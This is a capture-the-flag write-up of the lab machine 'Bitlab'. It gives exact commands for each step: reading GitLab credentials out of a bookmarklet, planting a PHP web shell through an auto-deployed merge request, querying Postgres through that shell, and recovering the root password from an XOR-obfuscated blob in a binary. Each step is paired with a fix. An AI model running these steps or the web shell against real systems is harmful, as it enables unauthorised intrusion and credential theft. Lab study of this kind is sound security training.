Bitlab
Summary
I fingerprinted an internet-exposed GitLab Community Edition instance and discovered that anonymous REST API access revealed all hosted project names. A developer-convenience JavaScript bookmarklet embedded in the public GitLab help page contained hardcoded login credentials in encoded form; decoding it yielded valid GitLab credentials.
Using those credentials, I pushed a PHP web shell to an auto-deployed profile repository via a branch-and-merge-request workflow, instantly serving arbitrary code from the live web root with no additional approval. A GitLab snippet stored the application's Postgres connection string in plaintext; querying the local database through the web shell returned a system user's SSH password stored in cleartext.
SSH as that user captured the first flag. A Windows remote-access binary found in the user's home directory contained the root SSH password hidden inside an XOR-obfuscated credential blob; reversing the decode routine in a static-analysis tool recovered the root password, and a direct SSH login as root completed the full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"
export PASSWORD7="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -sV -p 22,80 $TARGETcurl -si http://$TARGET/curl -s http://$TARGET/api/v4/projects | python3 -m json.toolFixRestrict GitLab project visibility and require authentication for API accessMedium
Exact commands 2
curl -s http://$TARGET/help/bookmarks.htmlpython3 -c "import urllib.parse; print(urllib.parse.unquote('<paste-bookmarklet-href-here>'))"FixRemove hardcoded credentials from the GitLab help-page bookmarkletCritical
Exact commands 5
git clone http://$USERNAME:$PASSWORD@$TARGET/root/profile.git /tmp/profilecd /tmp/profile && BRANCH=shell$(date +%s) && git checkout -b $BRANCH && echo '<?php system($_GET["cmd"]); ?>' > ${BRANCH}.php && git add . && git commit -m 'update' && git push origin $BRANCH# Scrape CSRF token from an authenticated GitLab page, then open the MR:
curl -sS -b cookies.txt -c cookies.txt -X POST http://$TARGET/root/profile/merge_requests \
-d 'merge_request[source_branch]=<branch>&merge_request[target_branch]=master&authenticity_token=<csrf_token>'curl -sS -b cookies.txt -X PUT http://$TARGET/api/v4/projects/2/merge_requests/<iid>/mergecurl -sS --get --data-urlencode 'cmd=id' http://$TARGET/profile/shell<ts>.phpFixRequire code review approval before auto-deploying GitLab repository changes to productionCritical
Exact commands 1
curl -sS -b cookies.txt http://$TARGET/snippets/1/rawFixRemove database connection strings from GitLab snippets and store secrets in a vaultHigh
Exact commands 1
curl -sS --get --data-urlencode 'cmd=php -r '\''$db=pg_connect("host=localhost dbname=$PASSWORD4 user=$PASSWORD4 password=$PASSWORD4"); $r=pg_query($db,"SELECT * FROM $PASSWORD4"); while($row=pg_fetch_assoc($r)) print_r($row);'\''' http://$TARGET/profile/shell<ts>.phpFixHash user credentials stored in the application database — never store recoverable passwordsHigh
Exact commands 1
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password clave@$TARGET 'id; cat /home/clave/user.txt'Exact commands 4
sshpass -p "$PASSWORD" scp -o StrictHostKeyChecking=no clave@$TARGET:/home/clave/RemoteConnection.exe /tmp/RemoteConnection.exerabin2 -zz /tmp/RemoteConnection.exe | grep -iE 'XRIB|pass|cred|user'r2 -A -c 'pdf @ fcn.00401520; pdf @ fcn.004018f0' /tmp/RemoteConnection.exe 2>/dev/null | head -120python3 - <<'EOF'
blob = bytes.fromhex('<hex-encoded-blob-from-rabin2-output>')
key = 0x50 # substitute actual XOR key from r2 disassembly
decoded = bytes([b ^ key for b in blob])
print(decoded.decode('utf-8', errors='replace'))
EOFFixRemove embedded system credentials from client-accessible binaries and disable direct root SSH loginCritical
Exact commands 1
sshpass -p '$PASSWORD7' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password root@$TARGET 'id; hostname; cat /root/root.txt'Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx |